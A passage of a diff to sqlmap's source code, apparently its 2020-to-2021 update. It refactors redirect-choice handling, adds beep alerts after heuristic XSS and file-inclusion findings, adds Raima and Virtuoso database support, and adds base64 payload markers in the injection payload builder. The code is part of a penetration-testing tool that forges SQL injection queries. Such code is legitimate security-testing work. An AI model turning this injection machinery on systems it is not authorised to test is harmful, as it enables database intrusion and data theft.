infoMsg = "heuristic (XSS) test shows that %sparameter '%s' might be vulnerable to cross-site scripting (XSS) attacks" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
if conf.beep:
|
||||||
|
beep()
|
||||||
|
|
||||||
for match in re.finditer(FI_ERROR_REGEX, page or ""):
|
for match in re.finditer(FI_ERROR_REGEX, page or ""):
|
||||||
if randStr1.lower() in match.group(0).lower():
|
if randStr1.lower() in match.group(0).lower():
|
||||||
infoMsg = "heuristic (FI) test shows that %sparameter '%s' might be vulnerable to file inclusion (FI) attacks" % ("%s " % paramType if paramType != parameter else "", parameter)
|
infoMsg = "heuristic (FI) test shows that %sparameter '%s' might be vulnerable to file inclusion (FI) attacks" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
if conf.beep:
|
||||||
|
beep()
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
kb.disableHtmlDecoding = False
|
kb.disableHtmlDecoding = False
|
||||||
@@ -1148,7 +1168,7 @@ def checkDynParam(place, parameter, value):
|
|||||||
dynamicity might depend on another parameter.
|
dynamicity might depend on another parameter.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if kb.redirectChoice:
|
if kb.choices.redirect:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
kb.matchRatio = None
|
kb.matchRatio = None
|
||||||
@@ -1249,7 +1269,7 @@ def checkStability():
|
|||||||
|
|
||||||
secondPage, _, _ = Request.queryPage(content=True, noteResponseTime=False, raise404=False)
|
secondPage, _, _ = Request.queryPage(content=True, noteResponseTime=False, raise404=False)
|
||||||
|
|
||||||
if kb.redirectChoice:
|
if kb.choices.redirect:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
kb.pageStable = (firstPage == secondPage)
|
kb.pageStable = (firstPage == secondPage)
|
||||||
@@ -1396,11 +1416,11 @@ def checkWaf():
|
|||||||
value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
|
value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
|
||||||
value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
|
value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
|
||||||
|
|
||||||
pushValue(kb.redirectChoice)
|
pushValue(kb.choices.redirect)
|
||||||
pushValue(kb.resendPostOnRedirect)
|
pushValue(kb.resendPostOnRedirect)
|
||||||
pushValue(conf.timeout)
|
pushValue(conf.timeout)
|
||||||
|
|
||||||
kb.redirectChoice = REDIRECTION.YES
|
kb.choices.redirect = REDIRECTION.YES
|
||||||
kb.resendPostOnRedirect = False
|
kb.resendPostOnRedirect = False
|
||||||
conf.timeout = IPS_WAF_CHECK_TIMEOUT
|
conf.timeout = IPS_WAF_CHECK_TIMEOUT
|
||||||
|
|
||||||
@@ -1413,7 +1433,7 @@ def checkWaf():
|
|||||||
|
|
||||||
conf.timeout = popValue()
|
conf.timeout = popValue()
|
||||||
kb.resendPostOnRedirect = popValue()
|
kb.resendPostOnRedirect = popValue()
|
||||||
kb.redirectChoice = popValue()
|
kb.choices.redirect = popValue()
|
||||||
|
|
||||||
hashDBWrite(HASHDB_KEYS.CHECK_WAF_RESULT, retVal, True)
|
hashDBWrite(HASHDB_KEYS.CHECK_WAF_RESULT, retVal, True)
|
||||||
|
|
||||||
@@ -1546,7 +1566,7 @@ def checkConnection(suppressOutput=False):
|
|||||||
else:
|
else:
|
||||||
kb.errorIsNone = True
|
kb.errorIsNone = True
|
||||||
|
|
||||||
if kb.redirectChoice == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID:
|
if kb.choices.redirect == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID:
|
||||||
if (threadData.lastRedirectURL[1] or "").startswith("https://") and conf.hostname in getUnicode(threadData.lastRedirectURL[1]):
|
if (threadData.lastRedirectURL[1] or "").startswith("https://") and conf.hostname in getUnicode(threadData.lastRedirectURL[1]):
|
||||||
conf.url = re.sub(r"https?://", "https://", conf.url)
|
conf.url = re.sub(r"https?://", "https://", conf.url)
|
||||||
match = re.search(r":(\d+)", threadData.lastRedirectURL[1])
|
match = re.search(r":(\d+)", threadData.lastRedirectURL[1])
|
||||||
@@ -1580,7 +1600,7 @@ def checkConnection(suppressOutput=False):
|
|||||||
kb.originalPage = kb.pageTemplate = threadData.lastPage
|
kb.originalPage = kb.pageTemplate = threadData.lastPage
|
||||||
kb.originalCode = threadData.lastCode
|
kb.originalCode = threadData.lastCode
|
||||||
|
|
||||||
if conf.cj and not conf.cookie and not conf.dropSetCookie:
|
if conf.cj and not conf.cookie and not any(_[0] == HTTP_HEADER.COOKIE for _ in conf.httpHeaders) and not conf.dropSetCookie:
|
||||||
candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
|
candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
|
||||||
|
|
||||||
message = "you have not declared cookie(s), while "
|
message = "you have not declared cookie(s), while "
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -291,7 +291,7 @@ def start():
|
|||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
if kb.targets and len(kb.targets) > 1:
|
if kb.targets and isListLike(kb.targets) and len(kb.targets) > 1:
|
||||||
infoMsg = "found a total of %d targets" % len(kb.targets)
|
infoMsg = "found a total of %d targets" % len(kb.targets)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
@@ -386,7 +386,7 @@ def start():
|
|||||||
message += "\nCookie: %s" % conf.cookie
|
message += "\nCookie: %s" % conf.cookie
|
||||||
|
|
||||||
if conf.data is not None:
|
if conf.data is not None:
|
||||||
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
|
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
|
||||||
|
|
||||||
if conf.forms and conf.method:
|
if conf.forms and conf.method:
|
||||||
if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
|
if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
|
||||||
@@ -452,7 +452,6 @@ def start():
|
|||||||
checkNullConnection()
|
checkNullConnection()
|
||||||
|
|
||||||
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):
|
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):
|
||||||
|
|
||||||
if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique:
|
if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique:
|
||||||
# NOTE: this is not needed anymore, leaving only to display
|
# NOTE: this is not needed anymore, leaving only to display
|
||||||
# a warning message to the user in case the page is not stable
|
# a warning message to the user in case the page is not stable
|
||||||
@@ -704,6 +703,12 @@ def start():
|
|||||||
action()
|
action()
|
||||||
|
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
|
if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):
|
||||||
|
kb.multipleCtrlC = True
|
||||||
|
raise SqlmapUserQuitException("user aborted (Ctrl+C was pressed multiple times)")
|
||||||
|
|
||||||
|
kb.lastCtrlCTime = time.time()
|
||||||
|
|
||||||
if conf.multipleTargets:
|
if conf.multipleTargets:
|
||||||
warnMsg = "user aborted in multiple target mode"
|
warnMsg = "user aborted in multiple target mode"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -33,9 +33,11 @@ from lib.core.settings import MYSQL_ALIASES
|
|||||||
from lib.core.settings import ORACLE_ALIASES
|
from lib.core.settings import ORACLE_ALIASES
|
||||||
from lib.core.settings import PGSQL_ALIASES
|
from lib.core.settings import PGSQL_ALIASES
|
||||||
from lib.core.settings import PRESTO_ALIASES
|
from lib.core.settings import PRESTO_ALIASES
|
||||||
|
from lib.core.settings import RAIMA_ALIASES
|
||||||
from lib.core.settings import SQLITE_ALIASES
|
from lib.core.settings import SQLITE_ALIASES
|
||||||
from lib.core.settings import SYBASE_ALIASES
|
from lib.core.settings import SYBASE_ALIASES
|
||||||
from lib.core.settings import VERTICA_ALIASES
|
from lib.core.settings import VERTICA_ALIASES
|
||||||
|
from lib.core.settings import VIRTUOSO_ALIASES
|
||||||
from lib.utils.sqlalchemy import SQLAlchemy
|
from lib.utils.sqlalchemy import SQLAlchemy
|
||||||
|
|
||||||
from plugins.dbms.access.connector import Connector as AccessConn
|
from plugins.dbms.access.connector import Connector as AccessConn
|
||||||
@@ -82,12 +84,16 @@ from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
|
|||||||
from plugins.dbms.postgresql import PostgreSQLMap
|
from plugins.dbms.postgresql import PostgreSQLMap
|
||||||
from plugins.dbms.presto.connector import Connector as PrestoConn
|
from plugins.dbms.presto.connector import Connector as PrestoConn
|
||||||
from plugins.dbms.presto import PrestoMap
|
from plugins.dbms.presto import PrestoMap
|
||||||
|
from plugins.dbms.raima.connector import Connector as RaimaConn
|
||||||
|
from plugins.dbms.raima import RaimaMap
|
||||||
from plugins.dbms.sqlite.connector import Connector as SQLiteConn
|
from plugins.dbms.sqlite.connector import Connector as SQLiteConn
|
||||||
from plugins.dbms.sqlite import SQLiteMap
|
from plugins.dbms.sqlite import SQLiteMap
|
||||||
from plugins.dbms.sybase.connector import Connector as SybaseConn
|
from plugins.dbms.sybase.connector import Connector as SybaseConn
|
||||||
from plugins.dbms.sybase import SybaseMap
|
from plugins.dbms.sybase import SybaseMap
|
||||||
from plugins.dbms.vertica.connector import Connector as VerticaConn
|
from plugins.dbms.vertica.connector import Connector as VerticaConn
|
||||||
from plugins.dbms.vertica import VerticaMap
|
from plugins.dbms.vertica import VerticaMap
|
||||||
|
from plugins.dbms.virtuoso.connector import Connector as VirtuosoConn
|
||||||
|
from plugins.dbms.virtuoso import VirtuosoMap
|
||||||
|
|
||||||
def setHandler():
|
def setHandler():
|
||||||
"""
|
"""
|
||||||
@@ -121,6 +127,8 @@ def setHandler():
|
|||||||
(DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn),
|
(DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn),
|
||||||
(DBMS.EXTREMEDB, EXTREMEDB_ALIASES, ExtremeDBMap, ExtremeDBConn),
|
(DBMS.EXTREMEDB, EXTREMEDB_ALIASES, ExtremeDBMap, ExtremeDBConn),
|
||||||
(DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, FrontBaseConn),
|
(DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, FrontBaseConn),
|
||||||
|
(DBMS.RAIMA, RAIMA_ALIASES, RaimaMap, RaimaConn),
|
||||||
|
(DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, VirtuosoConn),
|
||||||
]
|
]
|
||||||
|
|
||||||
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
|
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -42,6 +42,7 @@ from lib.core.enums import PAYLOAD
|
|||||||
from lib.core.enums import PLACE
|
from lib.core.enums import PLACE
|
||||||
from lib.core.enums import POST_HINT
|
from lib.core.enums import POST_HINT
|
||||||
from lib.core.exception import SqlmapNoneDataException
|
from lib.core.exception import SqlmapNoneDataException
|
||||||
|
from lib.core.settings import BOUNDED_BASE64_MARKER
|
||||||
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
|
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
|
||||||
from lib.core.settings import BOUNDED_INJECTION_MARKER
|
from lib.core.settings import BOUNDED_INJECTION_MARKER
|
||||||
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
||||||
@@ -183,7 +184,11 @@ class Agent(object):
|
|||||||
newValue = self.adjustLateValues(newValue)
|
newValue = self.adjustLateValues(newValue)
|
||||||
|
|
||||||
# TODO: support for POST_HINT
|
# TODO: support for POST_HINT
|
||||||
newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
newValue = "%s%s%s" % (BOUNDED_BASE64_MARKER, newValue, BOUNDED_BASE64_MARKER)
|
||||||
|
|
||||||
|
if parameter in kb.base64Originals:
|
||||||
|
origValue = kb.base64Originals[parameter]
|
||||||
|
else:
|
||||||
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
||||||
|
|
||||||
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
|
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
|
||||||
@@ -191,7 +196,7 @@ class Agent(object):
|
|||||||
|
|
||||||
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
|
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
|
||||||
newValue = '"%s"' % self.addPayloadDelimiters(newValue)
|
newValue = '"%s"' % self.addPayloadDelimiters(newValue)
|
||||||
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString:
|
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None:
|
||||||
newValue = "'%s'" % self.addPayloadDelimiters(newValue)
|
newValue = "'%s'" % self.addPayloadDelimiters(newValue)
|
||||||
else:
|
else:
|
||||||
newValue = self.addPayloadDelimiters(newValue)
|
newValue = self.addPayloadDelimiters(newValue)
|
||||||
@@ -393,6 +398,10 @@ class Agent(object):
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
if payload:
|
if payload:
|
||||||
|
for match in re.finditer(r"%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload):
|
||||||
|
_ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe)
|
||||||
|
payload = payload.replace(match.group(0), _)
|
||||||
|
|
||||||
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
|
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
|
||||||
payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
|
payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
|
||||||
|
|
||||||
@@ -462,6 +471,12 @@ class Agent(object):
|
|||||||
@rtype: C{str}
|
@rtype: C{str}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
match = re.search(r"(?i)(.+)( AS \w+)\Z", field)
|
||||||
|
if match:
|
||||||
|
field, suffix = match.groups()
|
||||||
|
else:
|
||||||
|
suffix = ""
|
||||||
|
|
||||||
nulledCastedField = field
|
nulledCastedField = field
|
||||||
|
|
||||||
if field and Backend.getIdentifiedDbms():
|
if field and Backend.getIdentifiedDbms():
|
||||||
@@ -472,7 +487,10 @@ class Agent(object):
|
|||||||
else:
|
else:
|
||||||
if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
|
if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
|
||||||
nulledCastedField = rootQuery.cast.query % field
|
nulledCastedField = rootQuery.cast.query % field
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI):
|
|
||||||
|
if re.search(r"COUNT\(", field) and Backend.getIdentifiedDbms() in (DBMS.RAIMA,):
|
||||||
|
pass
|
||||||
|
elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI):
|
||||||
nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField)
|
nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField)
|
||||||
else:
|
else:
|
||||||
nulledCastedField = rootQuery.isnull.query % nulledCastedField
|
nulledCastedField = rootQuery.isnull.query % nulledCastedField
|
||||||
@@ -481,6 +499,12 @@ class Agent(object):
|
|||||||
if conf.hexConvert or kb.binaryField:
|
if conf.hexConvert or kb.binaryField:
|
||||||
nulledCastedField = self.hexConvertField(nulledCastedField)
|
nulledCastedField = self.hexConvertField(nulledCastedField)
|
||||||
|
|
||||||
|
if suffix:
|
||||||
|
nulledCastedField += suffix
|
||||||
|
|
||||||
|
if not kb.nchar:
|
||||||
|
nulledCastedField = re.sub(r"( AS )N(CHAR|VARCHAR)", r"\g<1>\g<2>", nulledCastedField)
|
||||||
|
|
||||||
return nulledCastedField
|
return nulledCastedField
|
||||||
|
|
||||||
def nullCastConcatFields(self, fields):
|
def nullCastConcatFields(self, fields):
|
||||||
@@ -524,6 +548,7 @@ class Agent(object):
|
|||||||
nulledCastedFields = []
|
nulledCastedFields = []
|
||||||
|
|
||||||
for field in fieldsSplitted:
|
for field in fieldsSplitted:
|
||||||
|
field = re.sub(r"(?i) AS \w+\Z", "", field) # NOTE: fields such as "... AS type_name" have to be stripped from the alias part for this functionality to work
|
||||||
nulledCastedFields.append(self.nullAndCastField(field))
|
nulledCastedFields.append(self.nullAndCastField(field))
|
||||||
|
|
||||||
delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.chars.delimiter, dbmsDelimiter)
|
delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.chars.delimiter, dbmsDelimiter)
|
||||||
@@ -674,7 +699,7 @@ class Agent(object):
|
|||||||
elif fieldsNoSelect:
|
elif fieldsNoSelect:
|
||||||
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||||
|
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
|
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO):
|
||||||
if fieldsExists:
|
if fieldsExists:
|
||||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
||||||
concatenatedQuery += "||'%s'" % kb.chars.stop
|
concatenatedQuery += "||'%s'" % kb.chars.stop
|
||||||
@@ -770,7 +795,6 @@ class Agent(object):
|
|||||||
elif fieldsNoSelect:
|
elif fieldsNoSelect:
|
||||||
concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||||
|
|
||||||
|
|
||||||
return concatenatedQuery
|
return concatenatedQuery
|
||||||
|
|
||||||
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
|
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
|
||||||
@@ -985,7 +1009,7 @@ class Agent(object):
|
|||||||
fromFrom = limitedQuery[fromIndex + 1:]
|
fromFrom = limitedQuery[fromIndex + 1:]
|
||||||
orderBy = None
|
orderBy = None
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB):
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB, DBMS.RAIMA):
|
||||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
||||||
limitedQuery += " %s" % limitStr
|
limitedQuery += " %s" % limitStr
|
||||||
|
|
||||||
@@ -997,7 +1021,7 @@ class Agent(object):
|
|||||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
|
||||||
limitedQuery += " %s" % limitStr
|
limitedQuery += " %s" % limitStr
|
||||||
|
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE,):
|
elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE, DBMS.VIRTUOSO):
|
||||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
||||||
if query.startswith("SELECT "):
|
if query.startswith("SELECT "):
|
||||||
limitedQuery = query.replace("SELECT ", "SELECT %s " % limitStr, 1)
|
limitedQuery = query.replace("SELECT ", "SELECT %s " % limitStr, 1)
|
||||||
@@ -1198,6 +1222,9 @@ class Agent(object):
|
|||||||
|
|
||||||
def whereQuery(self, query):
|
def whereQuery(self, query):
|
||||||
if conf.dumpWhere and query:
|
if conf.dumpWhere and query:
|
||||||
|
if Backend.isDbms(DBMS.ORACLE) and re.search(r"qq ORDER BY \w+\)", query, re.I) is not None:
|
||||||
|
prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), ""
|
||||||
|
else:
|
||||||
match = re.search(r" (LIMIT|ORDER).+", query, re.I)
|
match = re.search(r" (LIMIT|ORDER).+", query, re.I)
|
||||||
if match:
|
if match:
|
||||||
suffix = match.group(0)
|
suffix = match.group(0)
|
||||||
@@ -1213,7 +1240,7 @@ class Agent(object):
|
|||||||
prefix += " WHERE %s" % conf.dumpWhere
|
prefix += " WHERE %s" % conf.dumpWhere
|
||||||
|
|
||||||
query = prefix
|
query = prefix
|
||||||
if suffix:
|
if suffix and not all(re.search(r"ORDER BY", _, re.I) is not None for _ in (query, suffix)):
|
||||||
query += suffix
|
query += suffix
|
||||||
|
|
||||||
return query
|
return query
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -9,9 +9,9 @@ from __future__ import division
|
|||||||
|
|
||||||
import binascii
|
import binascii
|
||||||
import codecs
|
import codecs
|
||||||
import collections
|
|
||||||
import contextlib
|
import contextlib
|
||||||
import copy
|
import copy
|
||||||
|
import distutils.version
|
||||||
import functools
|
import functools
|
||||||
import getpass
|
import getpass
|
||||||
import hashlib
|
import hashlib
|
||||||
@@ -58,6 +58,7 @@ from lib.core.convert import getText
|
|||||||
from lib.core.convert import getUnicode
|
from lib.core.convert import getUnicode
|
||||||
from lib.core.convert import htmlUnescape
|
from lib.core.convert import htmlUnescape
|
||||||
from lib.core.convert import stdoutEncode
|
from lib.core.convert import stdoutEncode
|
||||||
|
from lib.core.data import cmdLineOptions
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
@@ -192,6 +193,7 @@ from thirdparty.colorama.initialise import init as coloramainit
|
|||||||
from thirdparty.magic import magic
|
from thirdparty.magic import magic
|
||||||
from thirdparty.odict import OrderedDict
|
from thirdparty.odict import OrderedDict
|
||||||
from thirdparty.six import unichr as _unichr
|
from thirdparty.six import unichr as _unichr
|
||||||
|
from thirdparty.six.moves import collections_abc as _collections
|
||||||
from thirdparty.six.moves import configparser as _configparser
|
from thirdparty.six.moves import configparser as _configparser
|
||||||
from thirdparty.six.moves import http_client as _http_client
|
from thirdparty.six.moves import http_client as _http_client
|
||||||
from thirdparty.six.moves import input as _input
|
from thirdparty.six.moves import input as _input
|
||||||
@@ -214,7 +216,7 @@ class UnicodeRawConfigParser(_configparser.RawConfigParser):
|
|||||||
fp.write("[%s]\n" % _configparser.DEFAULTSECT)
|
fp.write("[%s]\n" % _configparser.DEFAULTSECT)
|
||||||
|
|
||||||
for (key, value) in self._defaults.items():
|
for (key, value) in self._defaults.items():
|
||||||
fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t')))
|
fp.write("%s = %s" % (key, getUnicode(value, UNICODE_ENCODING)))
|
||||||
|
|
||||||
fp.write("\n")
|
fp.write("\n")
|
||||||
|
|
||||||
@@ -225,8 +227,8 @@ class UnicodeRawConfigParser(_configparser.RawConfigParser):
|
|||||||
if key != "__name__":
|
if key != "__name__":
|
||||||
if value is None:
|
if value is None:
|
||||||
fp.write("%s\n" % (key))
|
fp.write("%s\n" % (key))
|
||||||
else:
|
elif not isListLike(value):
|
||||||
fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t')))
|
fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING)))
|
||||||
|
|
||||||
fp.write("\n")
|
fp.write("\n")
|
||||||
|
|
||||||
@@ -585,7 +587,15 @@ class Backend(object):
|
|||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def isVersionGreaterOrEqualThan(version):
|
def isVersionGreaterOrEqualThan(version):
|
||||||
return Backend.getVersion() is not None and str(Backend.getVersion()) >= str(version)
|
retVal = False
|
||||||
|
|
||||||
|
if Backend.getVersion() is not None and version is not None:
|
||||||
|
try:
|
||||||
|
